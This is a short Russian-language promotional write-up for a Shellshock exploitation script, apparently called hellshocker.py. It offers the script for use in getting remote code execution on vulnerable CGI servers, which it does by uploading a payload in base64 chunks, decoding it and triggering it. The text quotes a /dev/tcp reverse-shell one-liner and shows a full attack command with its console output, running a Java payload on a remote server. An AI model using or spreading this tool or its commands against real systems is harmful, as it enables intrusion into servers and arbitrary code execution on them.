
Скрипт эксплуатации Shellshock, который способен загружать и выполнять RCE через любой вектор благодаря своей универсальности.
Устали от использования слабых эксплойтов Shellshock или просто от "/bin/bash >& /dev/tcp/IP/port 0>&1" для доступа к серверу?
Да, вам нужно загрузить и выполнить на сервере что-то более сложное, а кодирование огромного файла в base64 делает невозможным принятие вашего HTTP-запроса веб-сервером.
Ваши проблемы могут быть решены с помощью этого инструмента. Он умеет кодировать вашу полезную нагрузку в base64 и отправлять её фрагментами (по умолчанию по 128 байт) на веб-сервер, а затем, после отправки, декодировать и выполнять её.
«Ого», — скажете вы, — «но у меня нет PHP, мне нужно что-то для Java». Не проблема, — отвечу я, — этот инструмент легко настраивается.
Взгляните:
python hellshocker.py --cgi http://website.com/cgi-bin/vulnerable --payload "java.jar" --destination "/tmp/java.jar" --trigger "/usr/bin/java -jar /tmp/java.jar" --base64
[*] Splitting data into chunks ...
[+] Payload data has been encoded to base64 format.
[*] There is 19 chunks to be sent to remote server
[*] Starting payload upload ...
[*] Uploading chunk #1
[*] Uploading chunk #2
[*] Uploading chunk #3
[*] Uploading chunk #4
[*] Uploading chunk #5
[*] Uploading chunk #6
[*] Uploading chunk #7
[*] Uploading chunk #8
[*] Uploading chunk #9
[*] Uploading chunk #10
[*] Uploading chunk #11
[*] Uploading chunk #12
[*] Uploading chunk #13
[*] Uploading chunk #14
[*] Uploading chunk #15
[*] Uploading chunk #16
[*] Uploading chunk #17
[*] Uploading chunk #18
[*] Uploading chunk #19
[+] Upload procedure has been completed.
[*] Decoding base64-encoded payload on remote server ...
[+] Remote command for decoding has been sent successfully sent.
[*] Triggering payload to execute ...
[+] Trigger command for payload execution has been succesfully sent.
После этого ваша полезная нагрузка была успешно передана и выполнена. Круто, не так ли? Да, это так.